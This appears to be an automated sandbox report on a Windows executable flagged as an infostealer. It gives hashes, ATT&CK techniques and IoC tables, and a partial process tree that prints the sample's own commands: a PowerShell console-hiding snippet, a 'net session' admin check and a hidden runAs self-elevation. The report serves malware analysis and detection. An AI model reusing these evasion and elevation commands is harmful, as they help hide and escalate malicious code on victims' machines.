5d8b046684f69382807d1466d44e8cfb3423bba53beab64f8199b44c0131b978

Analysis

max time kernel
150s
max time network
155s
platform
windows11-21h2_x64
resource
win11-20260130-fr
resource tags

arch:x64arch:x86image:win11-20260130-frlocale:fr-fros:windows11-21h2-x64systemwindows
submitted
05/05/2026, 22:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Size 92.0MB
Sample260505-2thvbaf19y
SHA256 5d8b046684f69382807d1466d44e8cfb3423bba53beab64f8199b44c0131b978
MD5 f3f4f5a0c36e0a90cd8896295500e612
SHA1 36c5fe5f3577a37c03251142ed2c23cfea5d8ed2
SHA512 6554fa6879c1125040152939b7b2251d08b4961279cc4ae724e97116acc62f0d5a3616606a24fe8ceee94fd9ae6d790c676a7000ec8553f2d9bb88cf8bf1cb90
SSDEEP 393216:7AsN5fijNgTxNmDJdAJr/NYeerl/CAvYXJu1ZzlxlO7EnmvwjfIZVFxep8MI2w/I:7JUfzDIj20mvt5m6dG/ubi
TLSH
T14B289D4263EA0595F9FB9A3495F25213D673BC067F3082CB724C172A1F736E09976B22
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

collection defense_evasion discovery execution privilege_escalation spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4172	powershell.exe
1108	powershell.exe
4700	powershell.exe
4160	powershell.exe
3056	powershell.exe

Clipboard Data 1 TTPs 64 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
2040	powershell.exe
2704	powershell.exe
1636	powershell.exe
1968	powershell.exe
2604	powershell.exe
3576	powershell.exe
4508	powershell.exe
1192	powershell.exe
1928	powershell.exe
4620	powershell.exe
2852	powershell.exe
4512	powershell.exe
3400	powershell.exe
3912	powershell.exe
3552	powershell.exe
3404	powershell.exe
4892	powershell.exe
4328	powershell.exe
5052	powershell.exe
4620	powershell.exe
3996	powershell.exe
2604	powershell.exe
1612	powershell.exe
2880	powershell.exe
3264	powershell.exe
2824	powershell.exe
1096	powershell.exe
1460	powershell.exe
1972	powershell.exe
4904	powershell.exe
1144	powershell.exe
1460	powershell.exe
1612	powershell.exe
3928	powershell.exe
3784	powershell.exe
1312	powershell.exe
2932	powershell.exe
1452	powershell.exe
4784	powershell.exe
1312	powershell.exe
3112	powershell.exe
2996	powershell.exe
2860	powershell.exe
4276	powershell.exe
2008	powershell.exe
1856	powershell.exe
1596	powershell.exe
3876	powershell.exe
4108	powershell.exe
3540	powershell.exe
1188	powershell.exe
3380	powershell.exe
3336	powershell.exe
4460	powershell.exe
2904	powershell.exe
4448	powershell.exe
3552	powershell.exe
3408	powershell.exe
576	powershell.exe
2068	powershell.exe
4772	powershell.exe
3888	powershell.exe
4376	powershell.exe
3848	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe

Loads dropped DLL 47 IoCs

pid	Process
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4688	cmd.exe

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
876	cmd.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	Lucid_LUCID-FFVX-KFVA-C783 (5).exe

Kills process with taskkill 4 IoCs

defense_evasion

pid	Process
1212	taskkill.exe
812	taskkill.exe
3428	taskkill.exe
2080	taskkill.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134224952233242116"	Lucid_LUCID-FFVX-KFVA-C783 (5).exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1108	powershell.exe
1108	powershell.exe
3056	powershell.exe
3056	powershell.exe
4700	powershell.exe
4700	powershell.exe
4160	powershell.exe
4160	powershell.exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
4172	powershell.exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
4172	powershell.exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	3056	powershell.exe
Token: SeDebugPrivilege	4700	powershell.exe
Token: SeDebugPrivilege	4160	powershell.exe
Token: SeDebugPrivilege	4172	powershell.exe
Token: SeDebugPrivilege	1212	taskkill.exe
Token: SeDebugPrivilege	812	taskkill.exe
Token: SeDebugPrivilege	3428	taskkill.exe
Token: SeDebugPrivilege	2080	taskkill.exe
Token: SeDebugPrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeTcbPrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeImpersonatePrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeTakeOwnershipPrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeRestorePrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeDebugPrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeTcbPrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeImpersonatePrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeTakeOwnershipPrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeRestorePrivilege	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe
Token: SeDebugPrivilege	3252	powershell.exe
Token: SeDebugPrivilege	4956	powershell.exe
Token: SeDebugPrivilege	2036	powershell.exe
Token: SeDebugPrivilege	1040	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	2024	powershell.exe
Token: SeDebugPrivilege	4784	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	2624	powershell.exe
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	1312	powershell.exe
Token: SeDebugPrivilege	1968	powershell.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	1800	powershell.exe
Token: SeDebugPrivilege	2512	powershell.exe
Token: SeDebugPrivilege	4620	powershell.exe
Token: SeDebugPrivilege	1856	powershell.exe
Token: SeDebugPrivilege	2996	powershell.exe
Token: SeDebugPrivilege	4616	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	2004	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	3576	powershell.exe
Token: SeDebugPrivilege	3108	powershell.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	2860	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	3424	powershell.exe
Token: SeDebugPrivilege	2856	powershell.exe
Token: SeDebugPrivilege	3552	powershell.exe
Token: SeDebugPrivilege	3264	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeDebugPrivilege	4596	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	2960	powershell.exe
Token: SeDebugPrivilege	2768	powershell.exe
Token: SeDebugPrivilege	2684	powershell.exe
Token: SeDebugPrivilege	4508	powershell.exe
Token: SeDebugPrivilege	4108	powershell.exe
Token: SeDebugPrivilege	3012	powershell.exe
Token: SeDebugPrivilege	1596	powershell.exe
Token: SeDebugPrivilege	1744	powershell.exe
Token: SeDebugPrivilege	2008	powershell.exe
Token: SeDebugPrivilege	3380	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 928 wrote to memory of 1784	928	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	80
PID 1784 wrote to memory of 1108	1784	cmd.exe	82
PID 1108 wrote to memory of 2992	1108	powershell.exe	83
PID 2992 wrote to memory of 1552	2992	csc.exe	84
PID 928 wrote to memory of 4992	928	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	85
PID 4992 wrote to memory of 2532	4992	cmd.exe	86
PID 2532 wrote to memory of 3656	2532	net.exe	87
PID 928 wrote to memory of 876	928	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	88
PID 876 wrote to memory of 3056	876	cmd.exe	90
PID 3056 wrote to memory of 544	3056	powershell.exe	91
PID 544 wrote to memory of 3464	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	93
PID 3464 wrote to memory of 4700	3464	cmd.exe	95
PID 4700 wrote to memory of 4336	4700	powershell.exe	96
PID 4336 wrote to memory of 2088	4336	csc.exe	97
PID 544 wrote to memory of 232	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	98
PID 232 wrote to memory of 272	232	cmd.exe	99
PID 272 wrote to memory of 1520	272	net.exe	100
PID 544 wrote to memory of 3728	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	101
PID 3728 wrote to memory of 4160	3728	cmd.exe	103
PID 544 wrote to memory of 4688	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	104
PID 4688 wrote to memory of 1492	4688	cmd.exe	106
PID 544 wrote to memory of 4172	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	107
PID 544 wrote to memory of 1052	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	109
PID 1052 wrote to memory of 1212	1052	cmd.exe	111
PID 4172 wrote to memory of 4424	4172	powershell.exe	113
PID 4424 wrote to memory of 2044	4424	csc.exe	114
PID 544 wrote to memory of 808	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	115
PID 808 wrote to memory of 812	808	cmd.exe	117
PID 544 wrote to memory of 2292	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	118
PID 2292 wrote to memory of 3428	2292	cmd.exe	120
PID 544 wrote to memory of 4928	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	121
PID 4928 wrote to memory of 2080	4928	cmd.exe	123
PID 544 wrote to memory of 3252	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	124
PID 544 wrote to memory of 4956	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	126
PID 544 wrote to memory of 2036	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	128
PID 544 wrote to memory of 1040	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	130
PID 544 wrote to memory of 2576	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	132
PID 544 wrote to memory of 2024	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	134
PID 544 wrote to memory of 4784	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	136
PID 544 wrote to memory of 568	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	138
PID 544 wrote to memory of 2624	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	140
PID 544 wrote to memory of 4904	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	142
PID 544 wrote to memory of 2220	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	144
PID 544 wrote to memory of 1312	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	146
PID 544 wrote to memory of 1968	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	148
PID 544 wrote to memory of 2904	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	150
PID 544 wrote to memory of 1800	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	152
PID 544 wrote to memory of 2512	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	154
PID 544 wrote to memory of 4620	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	156
PID 544 wrote to memory of 1856	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	158
PID 544 wrote to memory of 2996	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	160
PID 544 wrote to memory of 4616	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	205
PID 544 wrote to memory of 3876	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	164
PID 544 wrote to memory of 2004	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	166
PID 544 wrote to memory of 2604	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	168
PID 544 wrote to memory of 3576	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	170
PID 544 wrote to memory of 3108	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	172
PID 544 wrote to memory of 4448	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	174
PID 544 wrote to memory of 2860	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	176
PID 544 wrote to memory of 4276	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	178
PID 544 wrote to memory of 3424	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	180
PID 544 wrote to memory of 2856	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	182
PID 544 wrote to memory of 3552	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	184
PID 544 wrote to memory of 3264	544	Lucid_LUCID-FFVX-KFVA-C783 (5).exe	186

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
1492	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Lucid_LUCID-FFVX-KFVA-C783 (5).exe
"C:\Users\Admin\AppData\Local\Temp\Lucid_LUCID-FFVX-KFVA-C783 (5).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();'; [Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0)""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();'; [Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0)"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1108
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\aswvutxh\aswvutxh.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2992
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES56D5.tmp" "c:\Users\Admin\AppData\Local\Temp\aswvutxh\CSC4E1C92CEE1FE4D96B9C3179F307DB6F.TMP"
        5⤵
        
        PID:1552
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "net session"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4992
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2532
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:3656
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Common\87f9a269\Lucid_LUCID-FFVX-KFVA-C783 (5).exe' -Verb runAs -WindowStyle Hidden""
  2⤵
  - Access Token Manipulation: Create Process with Token
  - Suspicious use of WriteProcessMemory
  PID:876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Common\87f9a269\Lucid_LUCID-FFVX-KFVA-C783 (5).exe' -Verb runAs -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Users\Admin\AppData\Local\Temp\Common\87f9a269\Lucid_LUCID-FFVX-KFVA-C783 (5).exe
      "C:\Users\Admin\AppData\Local\Temp\Common\87f9a269\Lucid_LUCID-FFVX-KFVA-C783 (5).exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:544
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();'; [Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0)""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3464
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-Type -Name Window -Namespace Console -MemberDefinition '[DllImport(\"user32.dll\")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); [DllImport(\"kernel32.dll\")] public static extern IntPtr GetConsoleWindow();'; [Console.Window]::ShowWindow([Console.Window]::GetConsoleWindow(), 0)"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4700
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ref1xh2q\ref1xh2q.cmdline"
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4336
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5DBB.tmp" "c:\Users\Admin\AppData\Local\Temp\ref1xh2q\CSCD44D9FAAF1BE49D887E692AC34EED073.TMP"
        8⤵
        
        PID:2088
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:232
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        Suspicious use of WriteProcessMemory
